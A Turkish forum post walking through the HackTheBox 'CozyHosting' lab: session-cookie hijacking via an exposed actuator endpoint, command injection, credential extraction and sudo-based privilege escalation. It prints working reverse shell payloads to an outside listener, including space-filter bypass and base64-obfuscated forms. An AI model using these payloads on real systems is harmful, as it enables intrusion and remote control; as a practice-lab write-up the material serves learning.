[HTB:CozyHosting] Kurabiye ifşası ve komut enjeksiyonu

Will Graham

Katılımcı Üye
14 Eki 2022
581
489
eaed7cd01e84ef5c6ec7d949d1d61110.png


HackTheBox :: CozyHosting

merhaba, bu konumda hackthebox platformunda bulunan "CozyHosting" isimli makinenin çözümünü göstereceğim. bu makine linux tabanlı kolay seviye bir makinedir. makinede çalışan servisleri öğrenmek adına nmap ile bir tarama yaparak başlıyorum.
CoffeeScript:
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-16 05:24 EST
Nmap scan report for 10.10.11.230
Host is up (0.058s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4356bca7f2ec46ddc10f83304c2caaa8 (ECDSA)
|_  256 6f7a6c3fa68de27595d47b71ac4f7e42 (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.96 seconds

makinede 22 (OpenSSH) ve 80 (nginx) servisleri çalışıyormuş. bununla birlikte http servisine erişilmeye çalışıldığında cozyhosting.htb adresine yönlendiriyormuş. bu adresi ip ile birlikte /etc/hosts dizinine girdikten sonra web sitesini açtığımda önemli olabilecek tek sayfa olan giriş sayfası ile karşılaştım.

BY1HWda.png


giriş formuna rastgele kullanıcı bilgileri denerken bir yandan da dirsearch ile bir dosya/dizin taraması gerçekleştirdim. girdiğim kullanıcı bilgilerinin hiç biri tutmadı ama dirsearch ile yaptığım tarama sonucunda içerisinde kullanıcı kurabiyeleri bulunan /actuator/sessions adresini buldum.

o614LS2.png


4qJThuPp.png


kanderson kullanıcının kurabiyesini kendiminkiyle değiştirdikten sonra bulduğum diğer bir dizin olan admin dizine gittim. bu yönetim panelinde ssh ile ilgili bir şey yapan bir bölüm var. burada yapılan işlem terminal üzerinden yapıldığı için komut enjeksiyonu barındırma ihtimali var.

JIvOxsMYZH.png


çalıştırılan komutun çıktısını her ne kadar kısıtlı gösteriyor olursa olsun reverse shell komutumu çalıştırması benim için yeterli. aşağıda ki komutu çalıştırdığımda kullanıcı adında boşluk olmaması gerektiğini söyleyen bir hata ile karşılaştım.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.204 1234 >/tmp/f


yr6AbCX.png


bunu geçmeyi öğrenmek için internette arama yaparken bu sayfayı buldum.
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command Injection/README.md#bypass-without-space
burada boşluk yerine
${IFS} kullanabileceğimiz yazıyor.

rm${IFS}/tmp/f;mkfifo${IFS}/tmp/f;cat${IFS}/tmp/f|bash${IFS}-i${IFS}2>&1|nc${IFS}10.10.14.204${IFS}1234${IFS}>/tmp/f

bu komutu kullandığımda ise bağlantı geliyor ama bir türlü komut satırı açılmıyor.

LYhmW.png


böyle olmasının sebebi kullandığım reverse shell komutu olabilir. onu gizlemek için önce base64'e çevirdim. bu base64 kodunu aşağıda ki komuta ekledikten sonra boşluk olan yerlere ${IFS} yazısını ekleyip komutu tekrar girdiğimde kullanabileceğim bir bağlantı geldi.

echo 'base64 kodu buraya'|base64 -d|bash

$(echo${IFS}'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8IG5jIDEwLjEwLjE0LjIwNCAxMjM0ID4vdG1wL2YK'|base64${IFS}-d|bash)

s-VAQj.png


bulunduğum dizinde cloudhosting-0.0.01.jar adında bir dosya var. bu dosyayı jd gui adında ki java decompilerı kullanarak içeriğini görüntülediğimde kanderson kullanıcısının şifresini ve postgresql bilgilerini buldum.

ET-Svo.png


psql bilgilerini kullanarak giriş yaptıktan sonra aşağıda ki sayfadan yardım alarak içerisinde ki admin kullanıcısının hashini aldım ve hashcat ile kırdım.

https://hasura.io/blog/top-psql-commands-and-flags-you-need-to-know-postgresql/

CXxEsc.png


Ow7obXTEV5U_.png


daha sonra elde ettiğim şifreyi kullanarak josh kullanıcısına geçiş yaptığımda kullanıcı bayrağını almak için /home/josh dizinine gittim. sudo -l komutu ile yetkilerimi kontrol ettiğimde ise ssh dosyasını root yetkisinde çalıştırabileceğimi gördüm. gtfobins üzerinden ssh'ı arattıktan sonra yetki yükseltmek için kullanabileceğim komutu terminale yapıştırdım ve elde ettiğim yetki ile son bayrağı almak için /root dizininde ki root.txt dosyasını görüntüledim.

8IReNYOKmMG.png


XSqWBmcPY.png


HackTheBox :: CozyHosting
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.